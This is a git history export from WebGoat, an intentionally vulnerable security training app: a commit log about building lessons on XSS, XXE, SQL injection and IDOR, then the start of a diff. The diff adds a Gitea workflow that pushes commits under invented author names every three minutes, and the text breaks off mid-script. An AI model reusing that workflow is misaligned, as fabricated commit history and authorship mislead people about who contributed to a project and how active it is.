a3d2ed171a First steps for challenge 2 2017-04-08 08:04:16 +02:00
Nanne Baars
dc245bd1e7 Updated README for building and starting WebGoat 2017-03-23 22:00:52 +01:00
Nanne Baars
f7c060ec81 Fixing Travis build 2017-03-23 21:54:02 +01:00
Nanne Baars
9833637abf Fixed exception while logging in with unknown user 2017-03-23 21:46:21 +01:00
Nanne Baars
5156b05aac Fixed logout 2017-03-23 21:03:20 +01:00
Nanne Baars
9f7f68f1f4 wip 2017-03-23 20:30:23 +01:00
Nanne Baars
debc1e4b73 Added more for challenge 1 including input form group for flag 2017-03-23 16:12:04 +01:00
Nanne Baars
36b10c07bc First attempt for challenge 2017-03-23 11:49:34 +01:00
Nanne Baars
98000d6002 Fixing links in several lessons 2017-03-23 09:41:01 +01:00
Gerard de Leeuw
634a4c75b6 Fix path to javascript file 2017-03-31 12:11:14 +02:00
Gerard de Leeuw
e094dd6d14 Typo's 2017-03-31 12:06:45 +02:00
Nanne Baars
034bcf1305 Fixing Travis build 2017-03-22 20:53:10 +01:00
Nanne Baars
7f9af71c4c Updating Docker files to reflect new naming of the server standalone jar 2017-03-22 17:43:46 +01:00
Nanne Baars
90eee0e2d8 Adding write_delay option to hsql database (otherwise users were not persisted in database correctly) 2017-03-22 17:04:44 +01:00
Nanne Baars
c14b172503 Removed default values from login screen 2017-03-22 15:53:50 +01:00
Nanne Baars
53d30e2274 Fixed saving lesson tracker with reloadable classloader 2017-03-22 15:51:57 +01:00
Nanne Baars
259fd19c1b - Introduced user registration
- Now using Spring Boot for classloading, this way local development does not need to restart the complete server
- Fixed all kinds of dependencies on the names of the lessons necessary to keep in mind during the creation of a lesson.
- Simplied loading of resources, by adding resource mappings in MvcConfig.
- Refactored plugin loading, now only one class is left for loading the lessons.
2017-03-22 11:35:14 +01:00
Nanne Baars
9b86aaba05 Adding challenge 2017-03-22 00:09:17 +01:00
hillstonenet-interns-bj
ad3e9439ec [fix] SQLi Lessons 6a-b: lesson passed's boolean 2017-03-03 17:19:33 +01:00
hillstonenet-interns-bj
f5c3610aba [fix] path in HttpProxies html file was wrong 2017-03-02 21:34:31 +01:00
Kristoffer Schneider
26ab0dc712 Added support to build an Docker container to run it on Raspberry Pi (#329)
Added support to build an Docker container to run it on Raspberry Pi #329
2017-03-02 21:31:40 +01:00
Nanne Baars
2b9185d85f Merge pull request #328 from misfir3/develop
Moved paging to top of content
2017-03-02 21:31:04 +01:00
Nanne Baars
f71d02fc6a Merge branch 'develop' into develop 2017-03-02 21:24:09 +01:00
Nanne Baars
2d6235e4f0 Provide Server-side service to support UI localization #265
- Now also enabled for adoc
2017-03-02 21:17:21 +01:00
Jason White
153dc57731 Basic solutions cheat file for now 2017-02-17 16:18:57 -05:00
Jason White
3193b591d8 commenting out latter part of XSS for now 2017-02-17 16:18:36 -05:00
Jason White
ac6e8b59b7 XSS updates 2017-02-17 15:59:38 -05:00
Jason White
d99a1d8448 temp. dep. mgmt resolution 2017-02-17 14:53:23 -05:00
Jason White
7f532f0ffc XSS lesson updates 2017-02-17 13:05:54 -05:00
Jason White
af8f8c27a6 moving controls to top of content 2017-02-16 14:56:08 -05:00
Jason White
0763eac26b Merge remote-tracking branch 'upstream/develop' into develop 2017-02-16 09:09:58 -05:00
Jason White
d8cc2de080 resolving conflicts merge 2017-02-16 09:08:19 -05:00
mayhew64
0de569339c Cleanup of vulnerable components 2017-02-08 11:37:11 -05:00
mayhew64
27947cca96 Fixed the SQL Injection to return results upon success 2017-02-08 00:01:44 -05:00
mayhew64
33e807797c Xstream RCE works now 2017-02-07 23:51:05 -05:00
Nanne Baars
65d728dfff Solved issue with POST in vulnerable components lesson 2017-02-07 23:49:26 +01:00
Nanne Baars
8d3b028acc Solved issue with POST in vulnerable components lesson 2017-02-07 23:38:57 +01:00
mayhew64
a00546638a Merge branch 'develop' of https://github.com/WebGoat/WebGoat into develop 2017-02-07 16:06:45 -05:00
mayhew64
b4159385c1 Vulnerable components draft, fixed missing properties in httpbasics when user input was empty 2017-02-07 16:05:30 -05:00
Charles Truluck
92533b4fc1 Fixed grammatical error 2017-02-07 18:13:53 +01:00
Jason White
4664669ff2 cleaning up, fixing selected lesson class/es 2017-02-07 18:13:27 +01:00
Jason White
40844bd823 #319 updated content for proxy 2017-02-07 18:13:27 +01:00
mayhew64
85ef7ee1a4 Merge branch 'develop' of https://github.com/WebGoat/WebGoat into develop 2017-02-06 09:19:29 -05:00
Nanne Baars
ae82df3fb4 Fixed issue with loading messages in different language. As a standalone jar you can write properties back to messages.properties, this approach worked when you run with exploded classpath (target/classes etc). However failed when running inside Docker container. 2017-02-05 21:54:07 +01:00
Nanne Baars
d25700434e Added tests for assignments 2017-01-31 23:28:59 +01:00
Jason White
f72f0dbddc Merge branch 'develop' of github.com:misfir3/WebGoat into develop 2017-01-31 14:49:48 -05:00
Jason White
b4106919d0 cleaning up, fixing selected lesson class/es 2017-01-31 14:48:46 -05:00
Jason White
4d2edfa146 #319 updated content for proxy 2017-01-31 14:48:45 -05:00
Jason White
675c506683 cleaning up, fixing selected lesson class/es 2017-01-31 14:47:35 -05:00
Jason White
4b99eb6d4c Merge remote-tracking branch 'upstream/develop' into develop 2017-01-31 12:02:25 -05:00
erhun
21659ac298 Add Thymeleaf th:href usage instead of pageContext.request.contextPath (#323)
* Add Thymeleaf th:href usage instead of pageContext.request.contextPath

* Add Thymeleaf th:href usage instead of pageContext.request.contextPath
2017-01-31 12:01:41 -05:00
Nanne Baars
ee5a12d205 Provide Server-side service to support UI localization #265 (#322)
merging
2017-01-31 11:52:33 -05:00
Jason White
1b2f54accc #319 updated content for proxy 2017-01-31 11:38:57 -05:00
mayhew64
fbd37b39bd Merge branch 'develop' of https://github.com/WebGoat/WebGoat into develop 2017-01-28 11:05:16 -05:00
mayhew64
ef3779ec13 Draft Vuln components 2017-01-28 11:05:09 -05:00
mayhew64
30bdc89164 Adding Vulnerable Components Category 2017-01-28 11:01:05 -05:00
mayhew64
a564ff2038 adding in Vulnerable Components lesson 2017-01-28 10:59:44 -05:00
Bruce Mayhew
355393352e Merge pull request #320 from misfir3/develop
multiple jQuery version support, Http Proxies Lesson
2017-01-28 10:52:32 -05:00
Jason White
a0451eeb3a Adding 'sorted' to lambda/stream 2017-01-27 15:41:46 -05:00
Jason White
74dd74d4cc formatting update 2017-01-27 15:40:57 -05:00
Jason White
2b31a19143 #319 2017-01-27 15:39:31 -05:00
Jason White
f3884fe605 #318 providing support for multiple jQuery versions and exposing it via webgoat.customjs namespace 2017-01-27 15:31:23 -05:00
Jason White
693d791075 bumping jquery version to support A-9 lesson 2017-01-26 16:46:05 -05:00
Jason White
2af1ad99cc Merge branch 'develop' of github.com:misfir3/WebGoat into develop 2017-01-25 14:57:16 -05:00
Jason White
264f7e74b6 Minor clean up in assignment endpoint 2017-01-25 14:56:20 -05:00
Jason White
f7ec164601 Adding request intercept assignment 2017-01-25 14:56:20 -05:00
Jason White
ac16342c17 #315 Adding UI handling and corresponding expected elements for html files for decoration. Inlucdes minor refactor 2017-01-25 17:46:31 +01:00
Jason White
839ca96544 #315 Adding UI handling and corresponding expected elements for html files for decoration. Inlucdes minor refactor 2017-01-25 11:20:01 -05:00
Nanne Baars
dd76cb258c Updating e-mail address 2017-01-25 06:19:55 +01:00
Nanne Baars
0779f7a3d0 Hints per lesson (#314)
Squashing and merging ...

* Each assigment should have the options to have its own set of hints #278

* Updating lessons due to changes from #278

* Enable i18n client side #312

* IDOR move hints to assignment and enable i18n #312
2017-01-24 09:34:06 -05:00
Nanne Baars
6d727b98e3 Create IDOR lesson #304
- Fix put mapping
2017-01-18 20:50:37 +01:00
Nanne Baars
498c89c6c0 Getting current release running is hard and obscure #308
- Removed obsolete links which are also available on the wiki pages
2017-01-16 21:50:14 +01:00
Nanne Baars
9485362309 Getting current release running is hard and obscure #308
- README.md for develop only contains 8.0 information (removed legacy information etc)
- Docker image now contains tag for version 8.0
2017-01-15 22:13:05 +01:00
Nanne Baars
ee0d34e2ea Merge pull request #310 from misfir3/develop
turning off HttpOnly
2017-01-15 18:44:52 +01:00
Nanne Baars
badbabd439 Fixing can't login to webgoat #307 2017-01-15 16:28:19 +01:00
Jason White
b970fe37fa turning off HttpOnly 2017-01-12 17:25:51 -05:00
Jason White
5d6ad6852a ignoring targets in webgoat lessons 2017-01-12 14:50:25 -05:00
Jason White
f8b39d7d8c #303 Clear current form on successful submission 2017-01-10 15:23:43 -05:00
Jason White
3274ff7a93 properly scoping data submiission in onFormSubmit 2017-01-10 15:23:43 -05:00
misfir3
ad3599f6af Merge pull request #306 from zupzup/issue_302_double_calls_on_submit
Issue #302: Fix redundant calls to lessonoverview.mvc and lessonmenu.…
2017-01-09 15:00:55 -05:00
Jason White
2688c8ee77 removing debug statement 2017-01-09 14:04:48 -05:00
Jason White
4e9b30d7f6 #304 incremental addition for IDOR, still experiencing 400 with PUT method 2017-01-09 14:02:00 -05:00
Mario Zupan
40f1d58796 Issue #302: Fix redundant calls to lessonoverview.mvc and lessonmenu.mvc on submission 2017-01-07 15:46:19 +01:00
Jason White
fe4f568fc0 #304 update to IDOR. Still experiencing 400 on EditOwnProfile endpoint 2017-01-06 13:04:03 -05:00
Jason White
c2988eb771 #305 - update to use generic Object in map 2017-01-06 13:01:55 -05:00
Jason White
07b9a5d634 adding contact info. to pom 2017-01-06 13:01:08 -05:00
Jason White
4c5e58d1a1 minor style updates 2017-01-06 08:08:22 -05:00
Jason White
0a41b2813d #304 ... trying to fix prev. commit 2017-01-06 08:06:49 -05:00
Jason White
65eaa934ea Initial/partial commit of IDOR lesson 2017-01-05 17:30:53 -05:00
Jason White
00eeae911d #305 UserSessionData bean to provide stateful session data 2017-01-05 17:28:53 -05:00
Nanne Baars
dcab7d8abd Lesson overview simplification moving template to separate file. 2017-01-01 21:06:00 +01:00
Nanne Baars
be8f263319 Merge pull request #299 from WebGoat/admin
#277 Re-institute admin functionality for WebGoat 8
2016-12-31 18:36:57 +01:00
Nanne Baars
e2cb9ceae0 #277 Re-institute admin functionality for WebGoat 8
- Report card functionality is back
2016-12-31 18:27:20 +01:00
Nanne Baars
490f542885 Merge pull request #298 from WebGoat/lesson_overview
#276 Automatic lesson summary page
2016-12-28 10:21:07 +01:00
Nanne Baars
9c03b6f63b #276 Automatic lesson summary page
- Basic overview of all the assignments needed to be solved in a lesson
 - Clicking on a link will jump to the correct page with the assignment
 - Lesson completed also updates lesson overview immediately
2016-12-28 10:14:34 +01:00
Nanne Baars
de4e581ee4 Update .travis.yml 2016-12-24 09:26:21 +01:00
Nanne Baars
0d0d2258d8 Changing install to package to include lessons as well 2016-12-24 09:24:22 +01:00
Nanne Baars
45d48a8776 Update README.MD 2016-12-23 15:58:09 +01:00
Jason White
282073ed2d Adding ZAP content for HTTP Basics 2016-12-22 16:37:57 -05:00
Jason White
35055eeb3c #296 updates href according to to page nav 2016-12-22 15:08:33 -05:00
Nanne
025ac49e19 Merge pull request #295 from zupzup/feature/asciidoc_syntax_highlight
Issue #275: Activate Syntax Highlighting with Coderay in Asciidoc
2016-12-16 16:53:51 +01:00
Nanne
4392150561 Merge branch 'develop' into feature/asciidoc_syntax_highlight 2016-12-16 16:44:42 +01:00
Nanne
bfe06f9026 Merge pull request #294 from zupzup/images_in_asciidoc
Issue #293: fix images in asciidoc by setting backend to xhtml
2016-12-16 16:43:07 +01:00
Mario Zupan
6fa894938b Issue #275: Activate Syntax Highlighting with Coderay in Asciidoc templates 2016-12-15 17:37:30 +01:00
Mario Zupan
81e3000f2d Issue #293: fix images in asciidoc by setting backend to xhtml 2016-12-11 20:05:28 +01:00
Nanne Baars
b8b632905d Fixing failing unit test 2016-12-08 22:06:21 +01:00
Jason White
f8c4d2232b quick update of README, removing -DskipTests 2016-12-07 09:02:25 -05:00
Jason White
3ab86d69ca temporary commenting out test additions that were breaking build/run 2016-12-07 08:46:13 -05:00
Jason White
1a9dcc1d21 moving vagrant instructions down 2016-12-05 07:58:05 -05:00
Jason White
54a152eb22 quick/temporary update for README for 8.x 2016-12-05 07:55:57 -05:00
misfir3
2850beed22 Merge pull request #291 from zupzup/feature/asyncerrorhandling
Feature/asyncerrorhandling
2016-12-02 12:14:28 -05:00
Mario Zupan
16e5df09b5 Fix wrong comment 2016-12-02 13:51:46 +01:00
Mario Zupan
feb38eef8c Issue #160: Provide Async Error Handling
Added Toast notification for unexpected errors
    On 401 and 403 Errors, user is redirected to login
2016-12-02 13:37:25 +01:00
Nanne Baars
e5ed24fcf7 Added testcase for LabelService 2016-11-29 21:27:11 +01:00
Nanne Baars
5f0ab09866 Added license 2016-11-29 20:31:28 +01:00
Nanne Baars
1a854a500e Lesson overview 2016-11-29 20:27:54 +01:00
misfir3
df29b36389 Merge pull request #289 from zupzup/feature/labelservice
Issue #265: Created LabelService to support UI localization
2016-11-29 12:57:53 -05:00
Nanne Baars
c7e46bf3c9 Only uploading war 2016-11-23 23:37:34 +01:00
Jason White
e183c8d8b3 implementing support for dom xss 2016-11-23 17:25:47 -05:00
Nanne Baars
5347311319 XXE last assignment completely working 2016-11-23 17:09:35 +01:00
Nanne Baars
c80bfcbc2f First checkin for CSRF
(cherry picked from commit a01a767)
2016-11-23 17:09:35 +01:00
Mario Zupan
2b0b49c0c2 Remove unused import 2016-11-23 15:36:02 +01:00
Jason White
0aa9c29256 adding direct to page navigation route 2016-11-23 09:32:06 -05:00
Mario Zupan
6acd149e5f Issue #265: Created LabelService to support UI localization 2016-11-23 14:20:43 +01:00
Jason White
4940a12d0d button size fix 2016-11-22 16:25:19 -05:00
mayhew64
32d1009390 Reflected xss working - still have to think how to get the success criteria. Page needs some work though 2016-11-21 23:09:58 -05:00
Bruce Mayhew
edaadecc38 Merge pull request #286 from WebGoat/feature/spring-boot
First draft at XSS
2016-11-21 18:37:53 -05:00
Jason White
2647722842 fixing typo 2016-11-21 13:50:21 -05:00
mayhew64
95607089d4 First draft at XSS 2016-11-21 13:39:43 -05:00
Jason White
7d28e9c1b8 bring jquery into custom namespace ... simple hack for now 2016-11-21 13:18:38 -05:00
Doug Morato
79e0cc0842 Merge pull request #282 from span/fix-broken-vagrant-setup
Fix intellij link and use master branch for vagrant images
2016-11-21 09:34:16 -05:00
Daniel Kvist
1347c8b5f6 Fix intellij link and use master branch for vagrant images in #262 2016-11-20 21:39:11 +01:00
Nanne Baars
faeb5b1b24 Push develop to s3 2016-11-19 15:29:05 +01:00
Nanne Baars
431222e740 Push multiple branches 2016-11-19 15:11:53 +01:00
Nanne Baars
323946dcce Moved to 8.0-SNAPSHOT 2016-11-19 13:38:24 +01:00
Doug Morato
3340eb92dd Merge branch 'feature/spring-boot' into develop
* feature/spring-boot: (92 commits)
  XXE checkin
  XXE checkin
  XXE first attempt
  HTTP-Basics mark lesson complete issue fixed
  cleaning up some
  fixing the scroll 'sliver' problem. Likely need to check back on this when menu grows again
  lesson pagination fixes mainly, some other fixes included & clean up
  Incremental style changes
  refactor to help accomodate multiple attacks and output in one 'page'
  Updated some of the credits
  double-feedback fix on single page
  commenting out to stop redundant callbacks
  few cleanup items, added least privilege
  Fixed test for password
  First wave is complete; some rendering issues
  Trying to wire up the DB connection and fill out first sql stub
  Fixing hide/show of next/prev buttons
  another stub
  First round of sql injection with stubs
  Give focus to username when loading the login page
  ...

Signed-off-by: Doug Morato <dm@corp.io>

# Conflicts:
#	.travis.yml
#	README.MD
#	pom.xml
#	webgoat-container/pom.xml
#	webgoat-container/src/main/java/org/owasp/webgoat/HammerHead.java
#	webgoat-container/src/main/java/org/owasp/webgoat/lessons/AbstractLesson.java
#	webgoat-container/src/main/java/org/owasp/webgoat/lessons/LessonAdapter.java
#	webgoat-container/src/main/java/org/owasp/webgoat/plugins/PluginsLoader.java
#	webgoat-container/src/main/java/org/owasp/webgoat/service/RestartLessonService.java
#	webgoat-container/src/main/java/org/owasp/webgoat/session/WebgoatContext.java
#	webgoat-container/src/main/resources/static/js/goatApp/controller/LessonController.js
#	webgoat-container/src/main/resources/webgoat.properties
#	webgoat-container/src/main/webapp/META-INF/context.xml
#	webgoat-container/src/main/webapp/WEB-INF/context.xml
#	webgoat-container/src/main/webapp/js/goatApp/view/LessonContentView.js
#	webgoat-container/src/test/java/org/owasp/webgoat/plugins/WebGoatIT.java
#	webgoat-container/src/test/resources/log4j.properties
#	webgoat_developer_bootstrap.sh
2016-11-18 22:37:39 -05:00
Doug Morato
50904cf69b Adding Changelog
Adding Changelog file for WebGoat releases

Signed-off-by: Doug Morato <dm@corp.io>
2016-11-18 21:32:41 -05:00
Doug Morato
b5467f0e59 Prepare pom for next development iteration
Signed-off-by: Doug Morato <dm@corp.io>
2016-11-18 16:39:49 -05:00
Nanne Baars
f2a114419a XXE checkin 2016-11-18 10:39:39 +01:00
Nanne Baars
38e5999472 XXE checkin 2016-11-17 17:36:17 +01:00
Nanne Baars
f698a2d6ae XXE first attempt 2016-11-17 16:27:41 +01:00
Nanne Baars
6d45bbc09c HTTP-Basics mark lesson complete issue fixed 2016-11-17 15:00:54 +01:00
Jason White
5c800f6f2b cleaning up some 2016-11-17 08:35:35 -05:00
Jason White
80d990cd1b fixing the scroll 'sliver' problem. Likely need to check back on this when menu grows again 2016-11-17 08:32:51 -05:00
Jason White
d11635f9da lesson pagination fixes mainly, some other fixes included & clean up 2016-11-17 08:06:06 -05:00
Jason White
1436839b42 Incremental style changes 2016-11-17 08:06:06 -05:00
Jason White
b5fd52e908 refactor to help accomodate multiple attacks and output in one 'page' 2016-11-17 08:06:06 -05:00
mayhew64
bd4e364fe3 Updated some of the credits 2016-11-16 18:38:27 -05:00
Jason White
02bd7e1299 double-feedback fix on single page 2016-11-16 18:03:46 -05:00
Jason White
11224bc02d commenting out to stop redundant callbacks 2016-11-16 18:03:46 -05:00
mayhew64
507a4cfbdb few cleanup items, added least privilege 2016-11-16 17:56:29 -05:00
mayhew64
f091e21c60 Fixed test for password 2016-11-16 16:18:22 -05:00
mayhew64
29447a11b4 First wave is complete; some rendering issues 2016-11-16 13:41:51 -05:00
mayhew64
24b2e79dc5 Trying to wire up the DB connection and fill out first sql stub 2016-11-15 22:40:24 -05:00
misfir3
ec2fc5a77c Fixing hide/show of next/prev buttons 2016-11-15 21:01:16 -05:00
mayhew64
0285bf96a7 another stub 2016-11-15 19:39:23 -05:00
mayhew64
67adddbffc Merge branch 'feature/spring-boot' of https://github.com/WebGoat/WebGoat into feature/spring-boot 2016-11-15 19:38:26 -05:00
mayhew64
8b6ad92aea First round of sql injection with stubs 2016-11-15 19:37:11 -05:00
Nanne Baars
50c89acc51 Give focus to username when loading the login page 2016-11-15 22:49:47 +01:00
Nanne Baars
f9dd1ee0e8 REMOVED ECS completely 2016-11-15 22:45:18 +01:00
Nanne Baars
6b9e9db4aa #272 Fix lesson client side filtering
- Endpoint now returns proper json and no longer uses ecs.
2016-11-15 22:41:59 +01:00
Nanne Baars
5dc1fc8655 Updating the Docker image 2016-11-15 20:42:30 +01:00
Nanne Baars
dbcd5cce3a Adding more trace logging during the loading of the plugins 2016-11-15 18:34:52 +01:00
Nanne Baars
640e3ffb4e mvn clean should also clean lesson jar files added .webgoat directory as well 2016-11-15 18:12:29 +01:00
Nanne Baars
b54ca61c84 mvn clean should also clean lesson jar files 2016-11-15 17:47:25 +01:00
Nanne Baars
44f5c60e78 #272 Fix lesson client side filtering 2016-11-15 17:38:10 +01:00
mayhew64
00f0ee8942 Fixed imports 2016-11-15 07:26:17 -05:00
mayhew64
dad7bdba92 Merge branch 'feature/spring-boot' of https://github.com/WebGoat/WebGoat into feature/spring-boot 2016-11-15 07:11:43 -05:00
mayhew64
abcc6c4dcb SQL Injection - it's broken 2016-11-15 07:11:24 -05:00
Nanne Baars
2728158f14 #271 Reset lesson does not work anymore 2016-11-15 10:26:09 +01:00
Nanne Baars
5babe19f2b Fixed issue with lesson tracking 2016-11-15 09:28:39 +01:00
Nanne Baars
0bec575913 Moving forward cleaning up some unnecessary lesson super classes which we
do not need to support anymore in 8.0:

- Introduced DI thoughout the code base
- Removed most superclasses of a lesson
- Hammerhead is now simplified to only one line of code
- Cleaned up WebSession
- Removed code which dealt with user roles, lesson fetching, username etc
- LessonTracker improvements
- Removed almost all code from the Screen class
- Removed ECS from the container project
- Removed adminstration pages, contained a lot of ECS codes which is much
  simpler to just rewrite when necessary
2016-11-06 21:09:47 +01:00
Nanne Baars
8c231bbd6d Removing profiles from pom.xml 2016-10-30 16:54:20 +01:00
Nanne Baars
63e051b617 Updating Docker image file to 8.0-SNAPSHOT 2016-10-30 16:37:47 +01:00
Nanne Baars
e86d5b6820 Fixing Travis build - removing Sauce test cases as it will be much easier to create testcases and the UI is created based on asciidoc templates. 2016-10-30 15:41:45 +01:00
Nanne Baars
48c08ca726 Fixing Travis build 2016-10-30 15:15:53 +01:00
Nanne Baars
89a717bbd2 Clean up and introduced Spring Dev tools to automatically reload classes. 2016-10-30 15:13:32 +01:00
Nanne Baars
b8992bdc0e Spring Boot reload automatically enabled 2016-10-16 10:38:14 -04:00
Nanne Baars
c72e8df532 Moved lessons to this project. 2016-10-13 12:09:01 -04:00
Nanne Baars
660f8bc660 No more yml(3) 2016-10-13 06:35:46 -04:00
Nanne Baars
5ac9a3b69d No more yml(2) 2016-10-12 17:40:23 -04:00
Jason White
002276e65f Merge branch 'feature/spring-boot' of github.com:WebGoat/WebGoat into feature/spring-boot 2016-10-12 15:29:15 -04:00
Jason White
1d3286733c minor style update 2016-10-12 15:28:39 -04:00
Nanne Baars
7fe6e1bb6e No more yml 2016-10-12 15:21:52 -04:00
Jason White
22a76624e6 Pagination fixes, lesson completion update 2016-10-12 14:02:18 -04:00
Nanne Baars
2803607901 WIP lesson completion 2016-10-12 13:40:54 -04:00
Jason White
217d87e523 support for custom js functions on data submission and some other UI enhancements 2016-10-12 11:28:53 -04:00
Jason White
807e343603 Fixing individual form submits 2016-10-12 10:51:19 -04:00
mayhew64
44366361a3 Added output and always show congratulations on success with custome feedback 2016-10-11 17:25:35 -04:00
mayhew64
f5935c6923 Added a custom success(string) method 2016-10-11 16:52:33 -04:00
Jason White
7323a1fa85 Hints back on main screen 2016-10-11 16:28:23 -04:00
Nanne Baars
2699a67c8a wip 2016-10-11 15:48:26 -04:00
Jason White
b67bc85ad6 Feedback/output integration ... currently requires html div's in lesson template 2016-10-11 13:51:20 -04:00
Nanne Baars
d9e7ab724d disabling csrf 2016-10-11 11:41:48 -04:00
Nanne Baars
ee05ad932a uncomment lesson loading 2016-10-11 11:14:37 -04:00
Jason White
38081b874a ajaxifcation and pagination updated 2016-10-11 10:36:18 -04:00
Jason White
7d2f1f0a3a temp fix 2016-10-11 09:20:39 -04:00
Jason White
829dcd2b29 initial test version of CustomGoat.js ... TBD on if we will keep it 2016-10-11 09:06:35 -04:00
Jason White
a1a565597f stubbing custom goat file 2016-10-10 17:54:54 -04:00
Jason White
95526b5100 paging mod, binding actions/callback per form within lesson 2016-09-22 23:41:02 -04:00
Jason White
1fff86fa2d additional paging work 2016-08-30 12:17:13 -04:00
Jason White
9f10fd7c57 Initial client side pagination 2016-08-30 12:17:13 -04:00
Jason White
ac433305a9 intial rendering of first page/tab/section of content on load 2016-08-30 12:17:13 -04:00
Jason White
12e2624eee bumping version on feature branch to reflect plans 2016-08-30 12:17:13 -04:00
Nanne Baars
61d5116d44 Intermediate result for calling multiple lesson endpoints 2016-08-18 21:15:12 +02:00
Nanne Baars
c0ab7b7d1c Getting the attack verification to work 2016-08-08 19:38:24 +02:00
Jason White
34ffa62535 commenting out incomplete line 2016-07-29 16:37:52 -04:00
Jason White
e3c488c624 reverting local test that was committed 2016-07-26 17:12:37 -04:00
Jason White
c5535603dc committing for local test purposes unrelated to webgoat 2016-07-26 17:09:29 -04:00
Jason White
f57d076fab turning off test in the interim 2016-07-05 08:24:28 -04:00
Jason White
8e862ba9c3 changing to 'id' for linking in YmlBasedLesson 2016-07-05 08:22:37 -04:00
Jason White
d27712affa incremental UI changes 2016-07-05 08:16:32 -04:00
Nanne Baars
c350e86772 YML config should override lesson class 2016-06-29 12:08:13 +02:00
Nanne Baars
0a26e05ca5 for the menu part 2016-06-29 11:40:18 +02:00
Nanne
85fb5a2661 Merge pull request #246 from misfir3/feature/spring-boot
updates from day 1 @AppSec EU
2016-06-29 10:54:45 +02:00
Jason White
1761868cec Merge remote-tracking branch 'upstream/feature/spring-boot' into feature/spring-boot 2016-06-29 10:45:58 +02:00
Jason White
a8ac2d7a0c moving attack form to modal/overlay ... initial cut 2016-06-29 10:39:54 +02:00
Nanne Baars
f12c06fc55 Reading yml file based lesson configuration 2016-06-29 07:14:39 +02:00
Jason White
f203f38702 Merge remote-tracking branch 'upstream/feature/spring-boot' into feature/spring-boot 2016-06-28 17:04:12 +02:00
Jason White
501ec1f9e0 Turning off caching in spring boot for dev purposes 2016-06-28 16:22:50 +02:00
Jason White
3f37b06d1f initial support for separation of content from attack in UI 2016-06-28 16:21:14 +02:00
Jason White
0aa94a71e5 initial support for separation of content from attack in UI 2016-06-28 16:20:40 +02:00
Nanne Baars
966e5b9e0a Added Docker support. 2016-06-28 07:46:34 +02:00
Nanne Baars
374ae376e3 clean up 2016-06-02 21:59:08 +02:00
Nanne Baars
63398aaf6d Thymeleaf works with AsciiDoc 2016-05-15 10:38:22 +02:00
Nanne Baars
e8628599fe Thymeleaf resolver does not need WebSession anymore 2016-05-13 15:57:52 +02:00
Nanne Baars
22d2255664 Made lesson resolution with Thymeleaf dynamic 2016-05-13 15:42:48 +02:00
Nanne Baars
4a19ddf40a Endpoints provided by lessons now work 2016-05-13 14:45:53 +02:00
Nanne Baars
79102c6ddd Lessons which load JavaScript etc now works 2016-04-26 18:59:51 +02:00
Nanne Baars
9066e45725 Updating README and moving webapp dir to old 2016-04-10 21:22:20 +02:00
Nanne Baars
289da771c9 Login and logout works together with context root 2016-04-10 14:56:27 +02:00
Nanne Baars
d0acfc00c0 Menu options about version, user info work again. 2016-04-09 22:08:40 +02:00
Nanne Baars
576333af7c Merging changes from Daniel back into the Spring Boot structure
- different js location
  - Fixed label debugging which kept on reloading and reloading the lesson
  - Changes from .jsp merged into .html
2016-04-09 15:40:53 +02:00
Nanne Baars
a8ea4a16e6 Images from solutions are loading again 2016-04-09 14:09:34 +02:00
Nanne Baars
8ff02cab6d Fully working WebGoat after migrating to Spring Boot. 2016-04-09 14:09:29 +02:00
Nanne Baars
ecc8cb391b First attempt to remove JSP and move to Thymeleaf and update to Spring Boot. The Thymeleaf templates can be loaded as snippets which makes it more easy to move away from ECS and create normal HTML pages for a lesson. 2016-04-09 14:06:03 +02:00
1297 changed files with 102484 additions and 46663 deletions

4
.dockerignore Normal file
View File

@@ -0,0 +1,4 @@
**
!/target
!/config/desktop

15
.editorconfig Normal file
View File

@@ -0,0 +1,15 @@
root = true
[*]
charset = utf-8
end_of_line = lf
indent_size = 4
indent_style = space
insert_final_newline = true
max_line_length = 120
tab_width = 4
ij_continuation_indent_size = 8
ij_formatter_off_tag = @formatter:off
ij_formatter_on_tag = @formatter:on
ij_formatter_tags_enabled = false
ij_java_names_count_to_use_import_on_demand = 999

View File

@@ -0,0 +1,134 @@
name: Scheduled Fake Commits
on:
# Trigger the workflow on a schedule.
schedule:
# This expression means "run every 3 minutes". Useful for testing.
# To revert to the original 8-hour schedule, change this to '0 */8 * * *'.
- cron: "*/3 * * * *"
# To trigger manually for testing, you can add workflow_dispatch:
# workflow_dispatch:
jobs:
create_scheduled_commits:
runs-on: ubuntu-latest
steps:
- name: Checkout repository
uses: actions/checkout@v4
with:
# Fetch the full history to ensure pushes work correctly
fetch-depth: 0
# Use a token with write access. This should be stored as a secret in your Gitea repo settings.
# The default GITEA_TOKEN might not have push permissions, so a Personal Access Token is recommended.
# Ensure you have a secret named GITEA_TOKEN in your repository settings.
token: ${{ secrets.GITEA_TOKEN }} # Replace GITEA_TOKEN with the name of your secret
- name: Set up Git config
# Configure Git user details globally for the runner
run: |
echo "setting up git config"
git config --global user.name "Gitea Actions Bot"
git config --global user.email "actions-bot@your-gitea-instance.com" # Replace with a suitable email
echo "git config setup complete"
- name: Create and Push Commits
env:
# Define your list of authors here. Each author should be on a new line,
# formatted as "Author Name <author@email.com>".
# For production, this should ideally be stored as a secret named FAKE_COMMIT_AUTHORS.
# For debugging, you can define it directly here as you have done.
AUTHOR_LIST: |
Author One <author1@example.com>
Author Two <author2@example.com>
Author Three <author3@example.com>
Author Four <author4@example.com>
Author Five <author5@example.com>
Author Six <author6@example.com>
Author Seven <author7@example.com>
Author Eight <author8@example.com>
Author Nine <author9@example.com>
Author Ten <author10@example.com>
DWSAuthor One <dwsauthor1@example.com>
DWSAuthor Two <dwsauthor2@example.com>
DWSAuthor Three <dwsauthor3@example.com>
DWSAuthor Four <autdwshor4@example.com>
DWSAuthor Five <autdwshor5@example.com>
DWSAuthor Six <autdwshor6@example.com>
DWSAuthor Seven <adwsuthor7@example.com>
DWSAuthor Eight <adwsuthor8@example.com>
DWSAuthor Nine <autdwshor9@example.com>
DWSAuthor Ten <autdwshor10@example.com>
COMMIT_COUNT: 2 # Number of commits to create
SLEEP_SECONDS: 15 # Delay between commits in seconds
TARGET_BRANCH: main # The branch to commit to
run: |
echo "starting Create and Push Commits step"
echo "AUTHOR_LIST content:"
echo "$AUTHOR_LIST" # Echo the content of the variable for debugging
echo "reading author's list into array"
# Read authors into a Bash array using readarray
readarray -t authors <<< "$AUTHOR_LIST"
echo "finished reading author's list into array"
# Check if authors list is empty
if [ ${#authors[@]} -eq 0 ]; then
echo "Error: AUTHOR_LIST is empty or could not be parsed into an array."
exit 1
fi
echo "Starting commit creation process..."
echo "Authors available: ${#authors[@]}"
echo "Commits to create: $COMMIT_COUNT"
